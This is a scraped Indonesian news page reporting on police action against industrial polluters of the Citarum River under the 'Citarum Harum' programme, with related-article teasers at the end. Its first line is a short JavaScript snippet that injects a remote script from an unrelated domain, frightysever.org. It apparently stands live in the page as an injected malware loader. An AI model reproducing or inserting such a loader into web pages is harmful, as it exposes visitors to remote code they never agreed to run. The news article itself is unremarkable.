(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintah melancarkan berbagai jurus membersihkan Sungai Citarum di Jawa Barat yang jadi salah satu tempat paling tercemar di dunia. Program “Citarum Harum†berupaya menegakkan hukum di samping memulihkan ekosistem. Namun penegakkan hukum ini menemukan sejumlah tantangan.
Penegakkan hukum dalam program “Citarum Harum†menyasar industri-industri yang membuang limbah yang tidak memenuhi syarat ke aliran sungai sepanjang 269 kilometer ini. Limbah industri memang menjadi salah satu pencemar Sungai Citarum bersama sampah rumah tangga dan kotoran ternak.
Polda Jawa Barat, yang digaet oleh Satgas Citarum, melaporkan selama 2018 telah mengungkap 58 kasus pelanggaran. Dari jumlah tersebut, kata Kapolda Jabar Agung Budi Maryoto, 19 diantaranya sudah diteruskan ke pengadilan.
“Pada tahun 2018, kita sudah menerbitkan berkas perkara yang sudah lengkap, jadi sudah menunggu jaksa penuntut umum untuk diajukan sidang di pengadilan negeri di mana pelanggaran itu dilakukan,†ujarnya dalam Rapat Evaluasi Satu Tahun Citarum Harum di Bandung, Selasa (15/1/2019).
Perwira tinggi polisi ini mengatakan, mayoritas industri yang dijerat memiliki instalasi pengolahan air limbah (IPAL) yang belum sesuai standar. Polda Jabar mencatat, mayoritas perusahaan yang melanggar berada di Kabupaten Bandung, Kabupaten Bandung Barat, dan Kota Cimahi.
Bupati Bandung Barat, Dadang Nasser, menyatakan dukungan penuh terhadap upaya polisi ini. Dia tidak akan membela perusahaan di wilayahnya yang terbukti nakal.
“Mana yang dibina, terus mereka juga diberi kesempatan memperbaiki, mana yang diangkat ke jalur hukum. Pembinaannya ada perjanjian dengan mereka. KLH (Kementerian Lingkungan Hidup dan Kehutanan) ada perjanjian perbaiki IPAL-nya,†jelasnya kepada wartawan.
​Upaya Hukum Hadapi Kendala Teknis
Namun upaya ini tidak semulus yang diperkirakan. Di lapangan, polisi masih kekurangan ahli pidana lingkungan, ahli lingkungan, ahli bahan beracun dan berbahaya (B3), serta ahli korporasi. Selain itu, upaya aparat juga terhambat sedikitnya jumlah pengambil sampel dan pejabat pengawas lingkungan hidup (PPLH). Padahal kehadiran PPLH ini diwajibkan undang-undang.
“Kalau kepolisian hari ini diminta pasti akan datang. Tapi dalam konteks penegakkan hukum butuh bersama-sama (pengawas lingkungan hidup). Jangan sampai nanti sampai ke pengadilan itu dijadikan sanggahan oleh pengacaranya jadi vonisnya bebas,†jelas Agung lagi.
Di samping itu, belum semua lokasi memiliki laboratorium yang terakreditasi. Sementara uji lab yang ada bisa mencapai 2 minggu. Keduanya turut menghambat proses penyelidikan dan penyidikan.
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.